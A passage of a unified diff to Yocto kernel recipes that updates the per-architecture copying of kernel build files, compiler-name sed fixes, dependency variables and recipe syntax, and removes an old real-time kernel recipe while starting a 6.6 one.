+ cp -a --parents tools/build/Build $kerneldir/build/
+ cp -a --parents tools/build/fixdep.c $kerneldir/build/
+ cp -a --parents tools/scripts/utilities.mak $kerneldir/build/
- # extra files, just in case
- cp -a --parents tools/objtool/* $kerneldir/build/
- cp -a --parents tools/lib/* $kerneldir/build/
- cp -a --parents tools/lib/subcmd/* $kerneldir/build/
+ # extra files, just in case
+ cp -a --parents tools/objtool/* $kerneldir/build/
+ cp -a --parents tools/lib/* $kerneldir/build/
+ cp -a --parents tools/lib/subcmd/* $kerneldir/build/
- cp -a --parents tools/include/* $kerneldir/build/
+ cp -a --parents tools/include/* $kerneldir/build/
- cp -a --parents $(find tools/arch/${ARCH}/ -type f) $kerneldir/build/
- fi
+ cp -a --parents $(find tools/arch/${ARCH}/ -type f) $kerneldir/build/
+ fi
- if [ "${ARCH}" = "arm64" ]; then
- # arch/arm64/include/asm/xen references arch/arm
- cp -a --parents arch/arm/include/asm/xen $kerneldir/build/
- # arch/arm64/include/asm/opcodes.h references arch/arm
- cp -a --parents arch/arm/include/asm/opcodes.h $kerneldir/build/
+ if [ "${ARCH}" = "arm64" ]; then
+ # arch/arm64/include/asm/xen references arch/arm
+ cp -a --parents arch/arm/include/asm/xen $kerneldir/build/
+ # arch/arm64/include/asm/opcodes.h references arch/arm
+ cp -a --parents arch/arm/include/asm/opcodes.h $kerneldir/build/
+
+ # v6.1+
+ cp -a --parents arch/arm64/kernel/asm-offsets.c $kerneldir/build/
cp -a --parents arch/arm64/kernel/vdso/*gettimeofday.* $kerneldir/build/
cp -a --parents arch/arm64/kernel/vdso/sigreturn.S $kerneldir/build/
@@ -153,114 +184,191 @@ do_install() {
cp -a --parents arch/arm64/kernel/vdso/gen_vdso_offsets.sh $kerneldir/build/
cp -a --parents arch/arm64/kernel/module.lds $kerneldir/build/ 2>/dev/null || :
- fi
- if [ "${ARCH}" = "powerpc" ]; then
- # 5.0 needs these files, but don't error if they aren't present in the source
- cp -a --parents arch/${ARCH}/kernel/syscalls/syscall.tbl $kerneldir/build/ 2>/dev/null || :
- cp -a --parents arch/${ARCH}/kernel/syscalls/syscalltbl.sh $kerneldir/build/ 2>/dev/null || :
- cp -a --parents arch/${ARCH}/kernel/syscalls/syscallhdr.sh $kerneldir/build/ 2>/dev/null || :
- fi
+ # 5.13+ needs these tools
+ cp -a --parents arch/arm64/tools/gen-cpucaps.awk $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/arm64/tools/cpucaps $kerneldir/build/ 2>/dev/null || :
+
+ # 5.19+
+ cp -a --parents arch/arm64/tools/gen-sysreg.awk $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/arm64/tools/sysreg $kerneldir/build/ 2>/dev/null || :
+
+ if [ -e $kerneldir/build/arch/arm64/tools/gen-cpucaps.awk ]; then
+ sed -i -e "s,#!.*awk.*,#!${USRBINPATH}/env awk," $kerneldir/build/arch/arm64/tools/gen-cpucaps.awk
+ fi
+ if [ -e $kerneldir/build/arch/arm64/tools/gen-sysreg.awk ]; then
+ sed -i -e "s,#!.*awk.*,#!${USRBINPATH}/env awk," $kerneldir/build/arch/arm64/tools/gen-sysreg.awk
+ fi
+ fi
+
+ if [ "${ARCH}" = "powerpc" ]; then
+ # 5.0 needs these files, but don't error if they aren't present in the source
+ cp -a --parents arch/${ARCH}/kernel/syscalls/syscall.tbl $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/syscalls/syscalltbl.sh $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/syscalls/syscallhdr.sh $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/vdso32/* $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/${ARCH}/kernel/vdso64/* $kerneldir/build/ 2>/dev/null || :
+
+ # v5.19+
+ cp -a --parents arch/powerpc/kernel/vdso/*.S $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/powerpc/kernel/vdso/*gettimeofday.* $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/powerpc/kernel/vdso/gen_vdso*_offsets.sh $kerneldir/build/ 2>/dev/null || :
+
+ # v6,1+
+ cp -a --parents arch/powerpc/kernel/asm-offsets.c $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/powerpc/kernel/head_booke.h $kerneldir/build/ 2>/dev/null || :
+ fi
+ if [ "${ARCH}" = "riscv" ]; then
+ cp -a --parents arch/riscv/kernel/vdso/*gettimeofday.* $kerneldir/build/
+ cp -a --parents arch/riscv/kernel/vdso/note.S $kerneldir/build/
+ # v6.1+
+ cp -a --parents arch/riscv/kernel/asm-offsets.c $kerneldir/build/
+ if [ -e arch/riscv/kernel/vdso/gen_vdso_offsets.sh ]; then
+ cp -a --parents arch/riscv/kernel/vdso/gen_vdso_offsets.sh $kerneldir/build/
+ fi
+ cp -a --parents arch/riscv/kernel/vdso/* $kerneldir/build/ 2>/dev/null || :
+ if [ -e arch/riscv/kernel/compat_vdso/gen_compat_vdso_offsets.sh ]; then
+ cp -a --parents arch/riscv/kernel/compat_vdso/gen_compat_vdso_offsets.sh $kerneldir/build/
+ fi
+ cp -a --parents arch/riscv/kernel/compat_vdso/* $kerneldir/build/ 2>/dev/null || :
+ fi
+
+ # include the machine specific headers for ARM variants, if available.
+ if [ "${ARCH}" = "arm" ]; then
+ cp -a --parents arch/${ARCH}/mach-*/include $kerneldir/build/
- # include the machine specific headers for ARM variants, if available.
- if [ "${ARCH}" = "arm" ]; then
- cp -a --parents arch/${ARCH}/mach-*/include $kerneldir/build/
+ # include a few files for 'make prepare'
+ cp -a --parents arch/arm/tools/gen-mach-types $kerneldir/build/
+ cp -a --parents arch/arm/tools/mach-types $kerneldir/build/
- # include a few files for 'make prepare'
- cp -a --parents arch/arm/tools/gen-mach-types $kerneldir/build/
- cp -a --parents arch/arm/tools/mach-types $kerneldir/build/
+ # 5.19+
+ cp -a --parents arch/arm/tools/gen-sysreg.awk $kerneldir/build/ 2>/dev/null || :
- # ARM syscall table tools only exist for kernels v4.10 or later
+ # ARM syscall table tools only exist for kernels v4.10 or later
SYSCALL_TOOLS=$(find arch/arm/tools -name "syscall*")
if [ -n "$SYSCALL_TOOLS" ] ; then
- cp -a --parents $SYSCALL_TOOLS $kerneldir/build/
+ cp -a --parents $SYSCALL_TOOLS $kerneldir/build/
fi
- cp -a --parents arch/arm/kernel/module.lds $kerneldir/build/
- fi
-
- if [ -d arch/${ARCH}/include ]; then
- cp -a --parents arch/${ARCH}/include $kerneldir/build/
- fi
-
- cp -a include $kerneldir/build
-
- cp -a --parents lib/vdso/* $kerneldir/build/ 2>/dev/null || :
-
- cp -a --parents tools/include/tools/le_byteshift.h $kerneldir/build/
- cp -a --parents tools/include/tools/be_byteshift.h $kerneldir/build/
-
- # required for generate missing syscalls prepare phase
- cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build
- cp -a --parents $(find arch/arm -type f -name "*.tbl") $kerneldir/build 2>/dev/null || :
-
- if [ "${ARCH}" = "x86" ]; then
- # files for 'make prepare' to succeed with kernel-devel
- cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build/
- cp -a --parents $(find arch/x86 -type f -name "syscalltbl.sh") $kerneldir/build/
- cp -a --parents $(find arch/x86 -type f -name "syscallhdr.sh") $kerneldir/build/
- cp -a --parents $(find arch/x86 -type f -name "syscall_64.tbl") $kerneldir/build/
- cp -a --parents arch/x86/tools/relocs_32.c $kerneldir/build/
- cp -a --parents arch/x86/tools/relocs_64.c $kerneldir/build/
- cp -a --parents arch/x86/tools/relocs.c $kerneldir/build/
- cp -a --parents arch/x86/tools/relocs_common.c $kerneldir/build/
- cp -a --parents arch/x86/tools/relocs.h $kerneldir/build/
- cp -a --parents arch/x86/tools/gen-insn-attr-x86.awk $kerneldir/build/ 2>/dev/null || :
- cp -a --parents arch/x86/purgatory/purgatory.c $kerneldir/build/
-
- # 4.18 + have unified the purgatory files, so we ignore any errors if
- # these files are not present
- cp -a --parents arch/x86/purgatory/sha256.h $kerneldir/build/ 2>/dev/null || :
- cp -a --parents arch/x86/purgatory/sha256.c $kerneldir/build/ 2>/dev/null || :
-
- cp -a --parents arch/x86/purgatory/stack.S $kerneldir/build/
- cp -a --parents arch/x86/purgatory/string.c $kerneldir/build/ 2>/dev/null || :
- cp -a --parents arch/x86/purgatory/setup-x86_64.S $kerneldir/build/
- cp -a --parents arch/x86/purgatory/entry64.S $kerneldir/build/
- cp -a --parents arch/x86/boot/string.h $kerneldir/build/
- cp -a --parents arch/x86/boot/string.c $kerneldir/build/
- cp -a --parents arch/x86/boot/compressed/string.c $kerneldir/build/ 2>/dev/null || :
- cp -a --parents arch/x86/boot/ctype.h $kerneldir/build/
-
- # objtool requires these files
- cp -a --parents arch/x86/lib/inat.c $kerneldir/build/ 2>/dev/null || :
- cp -a --parents arch/x86/lib/insn.c $kerneldir/build/ 2>/dev/null || :
- fi
-
- if [ "${ARCH}" = "mips" ]; then
- cp -a --parents arch/mips/Kbuild.platforms $kerneldir/build/
- cp --parents $(find -type f -name "Platform") $kerneldir/build
- cp --parents arch/mips/boot/tools/relocs* $kerneldir/build
- cp -a --parents arch/mips/kernel/asm-offsets.c $kerneldir/build
- cp -a --parents kernel/time/timeconst.bc $kerneldir/build
- cp -a --parents kernel/bounds.c $kerneldir/build
- cp -a --parents Kbuild $kerneldir/build
- cp -a --parents arch/mips/kernel/syscalls/*.sh $kerneldir/build 2>/dev/null || :
- cp -a --parents arch/mips/kernel/syscalls/*.tbl $kerneldir/build 2>/dev/null || :
- cp -a --parents arch/mips/tools/elf-entry.c $kerneldir/build 2>/dev/null || :
- fi
+ cp -a --parents arch/arm/kernel/module.lds $kerneldir/build/ 2>/dev/null || :
+ # v6.1+
+ cp -a --parents arch/arm/kernel/asm-offsets.c $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/arm/kernel/signal.h $kerneldir/build/ 2>/dev/null || :
+ fi
+
+ if [ -d arch/${ARCH}/include ]; then
+ cp -a --parents arch/${ARCH}/include $kerneldir/build/
+ fi
+
+ cp -a include $kerneldir/build
+
+ cp -a --parents lib/vdso/* $kerneldir/build/ 2>/dev/null || :
+
+ cp -a --parents tools/include/tools/le_byteshift.h $kerneldir/build/
+ cp -a --parents tools/include/tools/be_byteshift.h $kerneldir/build/
+
+ # required for generate missing syscalls prepare phase
+ cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build
+ cp -a --parents $(find arch/arm -type f -name "*.tbl") $kerneldir/build 2>/dev/null || :
+
+ if [ "${ARCH}" = "x86" ]; then
+ # files for 'make prepare' to succeed with kernel-devel
+ cp -a --parents $(find arch/x86 -type f -name "syscall_32.tbl") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscalltbl.sh") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscallhdr.sh") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents $(find arch/x86 -type f -name "syscall_64.tbl") $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/x86/tools/relocs_32.c $kerneldir/build/
+ cp -a --parents arch/x86/tools/relocs_64.c $kerneldir/build/
+ cp -a --parents arch/x86/tools/relocs.c $kerneldir/build/
+ cp -a --parents arch/x86/tools/relocs_common.c $kerneldir/build/
+ cp -a --parents arch/x86/tools/relocs.h $kerneldir/build/
+ cp -a --parents arch/x86/tools/gen-insn-attr-x86.awk $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/x86/purgatory/purgatory.c $kerneldir/build/
+
+ # 4.18 + have unified the purgatory files, so we ignore any errors if
+ # these files are not present
+ cp -a --parents arch/x86/purgatory/sha256.h $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/x86/purgatory/sha256.c $kerneldir/build/ 2>/dev/null || :
+
+ cp -a --parents arch/x86/purgatory/stack.S $kerneldir/build/
+ cp -a --parents arch/x86/purgatory/string.c $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/x86/purgatory/setup-x86_64.S $kerneldir/build/
+ cp -a --parents arch/x86/purgatory/entry64.S $kerneldir/build/
+ cp -a --parents arch/x86/boot/string.h $kerneldir/build/
+ cp -a --parents arch/x86/boot/string.c $kerneldir/build/
+ cp -a --parents arch/x86/boot/compressed/string.c $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/x86/boot/ctype.h $kerneldir/build/
+
+ # objtool requires these files
+ cp -a --parents arch/x86/lib/inat.c $kerneldir/build/ 2>/dev/null || :
+ cp -a --parents arch/x86/lib/insn.c $kerneldir/build/ 2>/dev/null || :
+
+ # v6.1+
+ cp -a --parents arch/x86/kernel/asm-offsets* $kerneldir/build || :
+ # for capabilities.h, vmx.h
+ cp -a --parents arch/x86/kvm/vmx/*.h $kerneldir/build || :
+ # for lapic.h, hyperv.h ....
+ cp -a --parents arch/x86/kvm/*.h $kerneldir/build || :
+ fi
+
+ # moved from arch/mips to all arches for v6.1+
+ cp -a --parents kernel/time/timeconst.bc $kerneldir/build 2>/dev/null || :
+ cp -a --parents kernel/bounds.c $kerneldir/build 2>/dev/null || :
+
+ if [ "${ARCH}" = "mips" ]; then
+ cp -a --parents arch/mips/Kbuild.platforms $kerneldir/build/
+ cp --parents $(find -type f -name "Platform") $kerneldir/build
+ cp --parents arch/mips/boot/tools/relocs* $kerneldir/build
+ cp -a --parents arch/mips/kernel/asm-offsets.c $kerneldir/build
+ cp -a --parents Kbuild $kerneldir/build
+ cp -a --parents arch/mips/kernel/syscalls/*.sh $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/mips/kernel/syscalls/*.tbl $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/mips/tools/elf-entry.c $kerneldir/build 2>/dev/null || :
+ fi
+
+ if [ "${ARCH}" = "loongarch" ]; then
+ cp -a --parents arch/loongarch/kernel/asm-offsets.c $kerneldir/build
+ cp -a --parents Kbuild $kerneldir/build
+ cp -a --parents arch/loongarch/vdso/*.S $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/loongarch/vdso/*gettimeofday.* $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/loongarch/vdso/*getcpu.* $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/loongarch/vdso/gen_vdso*_offsets.sh $kerneldir/build/ 2>/dev/null || :
+ fi
# required to build scripts/selinux/genheaders/genheaders
cp -a --parents security/selinux/include/* $kerneldir/build/
- # copy any localversion files
- cp -a localversion* $kerneldir/build/ 2>/dev/null || :
+ # copy any localversion files
+ cp -a localversion* $kerneldir/build/ 2>/dev/null || :
)
# Make sure the Makefile and version.h have a matching timestamp so that
# external modules can be built
touch -r $kerneldir/build/Makefile $kerneldir/build/include/generated/uapi/linux/version.h
- # Copy .config to include/config/auto.conf so "make prepare" is unnecessary.
- cp $kerneldir/build/.config $kerneldir/build/include/config/auto.conf
+ # This fixes a warning that the compilers don't match when building a module
+ # Change: CONFIG_CC_VERSION_TEXT="x86_64-poky-linux-gcc (GCC) 12.2.0" to "gcc (GCC) 12.2.0"
+ # #define CONFIG_CC_VERSION_TEXT "x86_64-poky-linux-gcc (GCC) 12.2.0" to "gcc (GCC) 12.2.0"
+ sed -i 's/CONFIG_CC_VERSION_TEXT=".*\(gcc.*\)"/CONFIG_CC_VERSION_TEXT="\1"/' "$kerneldir/build/.config"
+ sed -i 's/#define CONFIG_CC_VERSION_TEXT ".*\(gcc.*\)"/#define CONFIG_CC_VERSION_TEXT "\1"/' $kerneldir/build/include/generated/autoconf.h
+ sed -i 's/CONFIG_CC_VERSION_TEXT=".*\(gcc.*\)"/CONFIG_CC_VERSION_TEXT="\1"/' $kerneldir/build/include/config/auto.conf
# make sure these are at least as old as the .config, or rebuilds will trigger
touch -r $kerneldir/build/.config $kerneldir/build/include/generated/autoconf.h 2>/dev/null || :
touch -r $kerneldir/build/.config $kerneldir/build/include/config/auto.conf* 2>/dev/null || :
if [ -e "$kerneldir/build/include/config/auto.conf.cmd" ]; then
- sed -i 's/ifneq "$(CC)" ".*-linux-gcc.*$/ifneq "$(CC)" "gcc"/' "$kerneldir/build/include/config/auto.conf.cmd"
- sed -i 's/ifneq "$(LD)" ".*-linux-ld.bfd.*$/ifneq "$(LD)" "ld"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(CC)" ".*-linux-.*gcc.*$/ifneq "$(CC)" "gcc"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(LD)" ".*-linux-.*ld.bfd.*$/ifneq "$(LD)" "ld"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(AR)" ".*-linux-.*ar.*$/ifneq "$(AR)" "ar"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(OBJCOPY)" ".*-linux-.*objcopy.*$/ifneq "$(OBJCOPY)" "objcopy"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ if [ "${ARCH}" = "powerpc" ]; then
+ sed -i 's/ifneq "$(NM)" ".*-linux-.*nm.*$/ifneq "$(NM)" "nm --synthetic"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ else
+ sed -i 's/ifneq "$(NM)" ".*-linux-.*nm.*$/ifneq "$(NM)" "nm"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ fi
+ sed -i 's/ifneq "$(HOSTCXX)" ".*$/ifneq "$(HOSTCXX)" "g++"/' "$kerneldir/build/include/config/auto.conf.cmd"
+ sed -i 's/ifneq "$(HOSTCC)" ".*$/ifneq "$(HOSTCC)" "gcc"/' "$kerneldir/build/include/config/auto.conf.cmd"
sed -i 's/ifneq "$(CC_VERSION_TEXT)".*\(gcc.*\)"/ifneq "$(CC_VERSION_TEXT)" "\1"/' "$kerneldir/build/include/config/auto.conf.cmd"
sed -i 's/ifneq "$(srctree)" ".*"/ifneq "$(srctree)" "."/' "$kerneldir/build/include/config/auto.conf.cmd"
# we don't build against the defconfig, so make sure it isn't the trigger for syncconfig
@@ -271,9 +379,9 @@ do_install() {
# left as /usr/bin/python rootfs assembly will fail, since we only have python3
# in the RDEPENDS (and the python3 package does not include /usr/bin/python)
for ss in $(find $kerneldir/build/scripts -type f -name '*'); do
- sed -i 's,/usr/bin/python2,/usr/bin/env python3,' "$ss"
- sed -i 's,/usr/bin/env python2,/usr/bin/env python3,' "$ss"
- sed -i 's,/usr/bin/python,/usr/bin/env python3,' "$ss"
+ sed -i 's,/usr/bin/python2,/usr/bin/env python3,' "$ss"
+ sed -i 's,/usr/bin/env python2,/usr/bin/env python3,' "$ss"
+ sed -i 's,/usr/bin/python,/usr/bin/env python3,' "$ss"
done
chown -R root:root ${D}
@@ -282,11 +390,17 @@ do_install() {
# Ensure we don't race against "make scripts" during cpio
do_install[lockfiles] = "${TMPDIR}/kernel-scripts.lock"
-FILES_${PN} = "${KERNEL_BUILD_ROOT} ${KERNEL_SRC_PATH}"
-FILES_${PN}-dbg += "${KERNEL_BUILD_ROOT}*/build/scripts/*/.debug/*"
+FILES:${PN} = "${KERNEL_BUILD_ROOT} ${KERNEL_SRC_PATH}"
+FILES:${PN}-dbg += "${KERNEL_BUILD_ROOT}*/build/scripts/*/.debug/*"
-RDEPENDS_${PN} = "bc python3 flex bison ${TCLIBC}-utils"
+RDEPENDS:${PN} = "bc python3-core flex bison ${TCLIBC}-utils gawk"
# 4.15+ needs these next two RDEPENDS
-RDEPENDS_${PN} += "openssl-dev util-linux"
+RDEPENDS:${PN} += "openssl-dev util-linux"
# and x86 needs a bit more for 4.15+
-RDEPENDS_${PN} += "${@bb.utils.contains('ARCH', 'x86', 'elfutils', '', d)}"
+RDEPENDS:${PN} += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-dev', '', d)}"
+# powerpc needs elfutils on 6.3+
+RDEPENDS:${PN} += "${@bb.utils.contains('ARCH', 'powerpc', 'elfutils-dev', '', d)}"
+# 5.8+ needs gcc-plugins libmpc-dev
+RDEPENDS:${PN} += "gcc-plugins libmpc-dev"
+# 5.13+ needs grep for powerpc
+RDEPENDS:${PN}:append:powerpc = " grep"
diff --git a/meta/recipes-kernel/linux/linux-dummy.bb b/meta/recipes-kernel/linux/linux-dummy.bb
index 62cf6f5ea6..2396f46202 100644
--- a/meta/recipes-kernel/linux/linux-dummy.bb
+++ b/meta/recipes-kernel/linux/linux-dummy.bb
@@ -4,29 +4,30 @@ provider for virtual/kernel to satisfy dependencies for situations \
where you wish to build the kernel externally from the build system."
SECTION = "kernel"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=751419260aa954499f7abaabaa882bbe"
PROVIDES += "virtual/kernel"
+inherit deploy linux-dummy
+
PACKAGES_DYNAMIC += "^kernel-module-.*"
PACKAGES_DYNAMIC += "^kernel-image-.*"
PACKAGES_DYNAMIC += "^kernel-firmware-.*"
PACKAGES += "kernel-modules kernel-vmlinux"
-FILES_kernel-modules = ""
-ALLOW_EMPTY_kernel-modules = "1"
-DESCRIPTION_kernel-modules = "Kernel modules meta package"
-FILES_kernel-vmlinux = ""
-ALLOW_EMPTY_kernel-vmlinux = "1"
-DESCRIPTION_kernel-vmlinux = "Kernel vmlinux meta package"
+FILES:kernel-modules = ""
+ALLOW_EMPTY:kernel-modules = "1"
+DESCRIPTION:kernel-modules = "Kernel modules meta package"
+FILES:kernel-vmlinux = ""
+ALLOW_EMPTY:kernel-vmlinux = "1"
+DESCRIPTION:kernel-vmlinux = "Kernel vmlinux meta package"
INHIBIT_DEFAULT_DEPS = "1"
-#COMPATIBLE_MACHINE = "your_machine"
+COMPATIBLE_HOST = ".*-linux"
-PR = "r1"
SRC_URI = "file://COPYING.GPL"
S = "${WORKDIR}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-dev.bb b/meta/recipes-kernel/linux/linux-yocto-dev.bb
index 175836ef94..d5cba42a5c 100644
--- a/meta/recipes-kernel/linux/linux-yocto-dev.bb
+++ b/meta/recipes-kernel/linux/linux-yocto-dev.bb
@@ -10,17 +10,15 @@
inherit kernel
require recipes-kernel/linux/linux-yocto.inc
-# for ncurses tests
-inherit pkgconfig
# provide this .inc to set specific revisions
include recipes-kernel/linux/linux-yocto-dev-revisions.inc
-KBRANCH = "standard/base"
+KBRANCH = "v6.9/standard/base"
KMETA = "kernel-meta"
-SRC_URI = "git://git.yoctoproject.org/linux-yocto-dev.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=master;destsuffix=${KMETA}"
+SRC_URI = "git://git.yoctoproject.org/linux-yocto-dev.git;branch=${KBRANCH};name=machine;protocol=https \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=master;destsuffix=${KMETA};protocol=https"
# Set default SRCREVs. Both the machine and meta SRCREVs are statically set
# to the korg v3.7 tag, and hence prevent network access during parsing. If
@@ -30,25 +28,34 @@ SRC_URI = "git://git.yoctoproject.org/linux-yocto-dev.git;branch=${KBRANCH};name
SRCREV_machine ?= '${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "${AUTOREV}", "29594404d7fe73cd80eaa4ee8c43dcc53970c60e", d)}'
SRCREV_meta ?= '${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "${AUTOREV}", "29594404d7fe73cd80eaa4ee8c43dcc53970c60e", d)}'
-LINUX_VERSION ?= "5.8-rc+"
+LINUX_VERSION ?= "6.9"
LINUX_VERSION_EXTENSION ?= "-yoctodev-${LINUX_KERNEL_TYPE}"
-PV = "${LINUX_VERSION}+git${SRCPV}"
+PV = "${LINUX_VERSION}+git"
LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
+# yaml and dtschema are required for 5.16+ device tree validation, libyaml is checked
+# via pkgconfig, so must always be present, but we can wrap the others to make them
+# conditional
+DEPENDS += "libyaml-native"
-COMPATIBLE_MACHINE = "(qemuarm|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv64)"
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[dt-validation] = ",,python3-dtschema-native"
+# we need the wrappers if validation isn't in the packageconfig
+DEPENDS += "${@bb.utils.contains('PACKAGECONFIG', 'dt-validation', '', 'python3-dtschema-wrapper-native', d)}"
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
+COMPATIBLE_MACHINE = "^(qemuarmv5|qemuarm|qemuarm64|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv32|qemuriscv64|qemuloongarch64)$"
+
+KERNEL_DEVICETREE:qemuarmv5 = "arm/versatile-pb.dtb"
# Functionality flags
KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "" ,d)}"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc features/gpio/sim.scc", "", d)}"
KERNEL_VERSION_SANITY_SKIP = "1"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb b/meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb
deleted file mode 100644
index ec0beeba76..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-KBRANCH ?= "v5.4/standard/preempt-rt/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# Skip processing of this recipe if it is not explicitly specified as the
-# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
-# to build multiple virtual/kernel providers, e.g. as dependency of
-# core-image-rt-sdk, core-image-rt.
-python () {
- if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
- raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
-}
-
-SRCREV_machine ?= "37478f8c6f336b271b26e783c14bcaf7fa8ca9a6"
-SRCREV_meta ?= "96883b38c16febfa10668d16fe08a5cdc3419872"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.4;destsuffix=${KMETA}"
-
-LINUX_VERSION ?= "5.4.54"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-LINUX_KERNEL_TYPE = "preempt-rt"
-
-COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "" ,d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_6.6.bb b/meta/recipes-kernel/linux/linux-yocto-rt_6.6.bb
new file mode 100644
index 0000000000..a44a08451a
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-rt_6.6.bb
@@ -0,0 +1,48 @@
+KBRANCH ?= "v6.6/standard/preempt-rt/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# CVE exclusions
+include recipes-kernel/linux/cve-exclusion_6.6.inc
+
+# Skip processing of this recipe if it is not explicitly specified as the
